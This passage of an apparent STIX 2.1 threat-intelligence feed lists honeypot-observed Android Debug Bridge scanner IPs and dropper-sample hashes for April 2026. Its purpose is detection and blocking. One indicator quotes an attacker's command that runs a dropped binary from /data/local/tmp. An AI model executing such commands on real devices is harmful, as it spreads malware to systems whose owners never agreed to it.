          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-10T05:25:04.000Z",
          "last_seen": "2026-04-10T05:26:05.348Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T06:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=49; ports=5555; cc=MY; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=2\n\nObserved in ADBHoney telemetry for 2026-04. events=49 | first_seen=2026-04-10T05:40:06.000Z | last_seen=2026-04-10T05:42:05.806Z | ports=5555 | cc=MY | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--2a19aa78-25fc-4a20-8972-15c002bc36bf",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.250.119.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T06:00:02.000Z",
      "valid_until": "2026-05-12T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 49,
          "first_seen": "2026-04-10T05:40:06.000Z",
          "last_seen": "2026-04-10T05:42:05.806Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MY"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T07:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-10T06:48:40.000Z | last_seen=2026-04-29T02:08:43.690Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--dfeec42f-0f2a-44ec-9d86-fc4331e14666",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '221.233.24.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T07:00:05.000Z",
      "valid_until": "2026-05-12T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-10T06:48:40.000Z",
          "last_seen": "2026-04-29T02:08:43.690Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T07:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-10T06:52:37.000Z | last_seen=2026-04-10T06:54:17.426Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--0ef8926e-d89d-4b6f-a831-8daee5b8198a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T07:00:05.000Z",
      "valid_until": "2026-05-12T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-10T06:52:37.000Z",
          "last_seen": "2026-04-10T06:54:17.426Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T07:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/164fc1a1709944e7cff3a446ce8b963524d092a904d4c25b589e0e940ff635cc.raw; last_seen=2026-04-10T06:12:13.504Z",
      "id": "indicator--12d7f974-280c-4506-acb8-9288395ef024",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '164fc1a1709944e7cff3a446ce8b963524d092a904d4c25b589e0e940ff635cc']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T07:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T07:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/efdff20b57e1128ff0a7eaeb2083e68a1b3a513fd85a7adef9c055c54cf120bf.raw; last_seen=2026-04-10T06:12:13.747Z",
      "id": "indicator--c2468e40-de0f-4cfc-947e-7f844999c3e9",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'efdff20b57e1128ff0a7eaeb2083e68a1b3a513fd85a7adef9c055c54cf120bf']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T07:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T09:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-10T08:42:50.000Z | last_seen=2026-04-10T08:43:58.313Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e1f805e5-055e-4b75-adcc-fd1f03d06485",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T09:00:04.000Z",
      "valid_until": "2026-05-12T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-10T08:42:50.000Z",
          "last_seen": "2026-04-10T08:43:58.313Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T09:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-10T08:43:25.000Z | last_seen=2026-04-10T08:53:37.613Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--0c3eead4-8f85-4c47-b954-d70ae6e1d0e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T09:00:04.000Z",
      "valid_until": "2026-05-12T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-10T08:43:25.000Z",
          "last_seen": "2026-04-10T08:53:37.613Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T10:00:29.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=56040; asn_org=China Mobile communications corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-10T09:52:55.000Z | last_seen=2026-04-10T09:54:03.497Z | ports=5555 | cc=CN | asn=56040 | org=China Mobile communications corporation",
      "id": "indicator--bf31d6e3-1807-4d84-b630-d6fb19fff631",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '223.104.82.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T10:00:29.000Z",
      "valid_until": "2026-05-12T10:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-10T09:52:55.000Z",
          "last_seen": "2026-04-10T09:54:03.497Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56040"
          ],
          "org": [
            "China Mobile communications corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=61; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-04. events=61 | first_seen=2026-04-10T10:44:36.000Z | last_seen=2026-04-10T10:59:23.041Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--4ec949e3-d491-484a-aeb7-1ae5e530fc6f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '58.214.254.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:00:03.000Z",
      "valid_until": "2026-05-12T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 61,
          "first_seen": "2026-04-10T10:44:36.000Z",
          "last_seen": "2026-04-10T10:59:23.041Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=CA; asn=803; asn_org=Saskatchewan Telecommunications; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-10T12:55:34.000Z | last_seen=2026-04-10T13:08:12.606Z | ports=5555 | cc=CA | asn=803 | org=Saskatchewan Telecommunications",
      "id": "indicator--01650c83-7fb3-44d4-9e4a-ceac46afb401",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.245.112.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:00:02.000Z",
      "valid_until": "2026-05-12T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-10T12:55:34.000Z",
          "last_seen": "2026-04-10T13:08:12.606Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "803"
          ],
          "org": [
            "Saskatchewan Telecommunications"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-10T13:29:37.000Z | last_seen=2026-04-10T13:30:44.129Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--798ecf59-f9ca-4ed2-aca9-618b7abc1643",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.194.92.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:00:02.000Z",
      "valid_until": "2026-05-12T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-10T13:29:37.000Z",
          "last_seen": "2026-04-10T13:30:44.129Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=21 | first_seen=2026-04-10T13:06:43.000Z | last_seen=2026-04-12T13:48:12.116Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f0912112-b13a-4795-93f0-3949ae5c98e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:00:02.000Z",
      "valid_until": "2026-05-12T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 21,
          "first_seen": "2026-04-10T13:06:43.000Z",
          "last_seen": "2026-04-12T13:48:12.116Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=EC; asn=52468; asn_org=UFINET PANAMA S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-10T14:47:01.000Z | last_seen=2026-04-10T14:57:03.666Z | ports=5555 | cc=EC | asn=52468 | org=UFINET PANAMA S.A.",
      "id": "indicator--04af1a07-9c6b-482c-83ce-5e3777719ca0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.71.39.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:00:02.000Z",
      "valid_until": "2026-05-12T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-10T14:47:01.000Z",
          "last_seen": "2026-04-10T14:57:03.666Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "EC"
          ],
          "asn": [
            "52468"
          ],
          "org": [
            "UFINET PANAMA S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T16:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=ZA; asn=327782; asn_org=METROFIBRE-NETWORX; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-10T15:42:27.000Z | last_seen=2026-04-10T15:52:31.887Z | ports=5555 | cc=ZA | asn=327782 | org=METROFIBRE-NETWORX",
      "id": "indicator--21bfb205-4e23-40cd-bf43-4a0162f190b5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '102.32.207.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:00:10.000Z",
      "valid_until": "2026-05-12T16:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-10T15:42:27.000Z",
          "last_seen": "2026-04-10T15:52:31.887Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ZA"
          ],
          "asn": [
            "327782"
          ],
          "org": [
            "METROFIBRE-NETWORX"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T16:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=10 | first_seen=2026-04-10T15:46:45.000Z | last_seen=2026-04-12T15:47:54.348Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--0dbfbfaf-552d-4800-96c8-e214de8b37d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '139.144.239.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:00:10.000Z",
      "valid_until": "2026-05-12T16:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 10,
          "first_seen": "2026-04-10T15:46:45.000Z",
          "last_seen": "2026-04-12T15:47:54.348Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T16:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-10T15:47:31.000Z | last_seen=2026-04-10T15:48:39.021Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--2fb280b7-6cf9-49dd-be61-2a575626cfd6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.236.111.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:00:10.000Z",
      "valid_until": "2026-05-12T16:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-10T15:47:31.000Z",
          "last_seen": "2026-04-10T15:48:39.021Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T18:00:08.000Z",
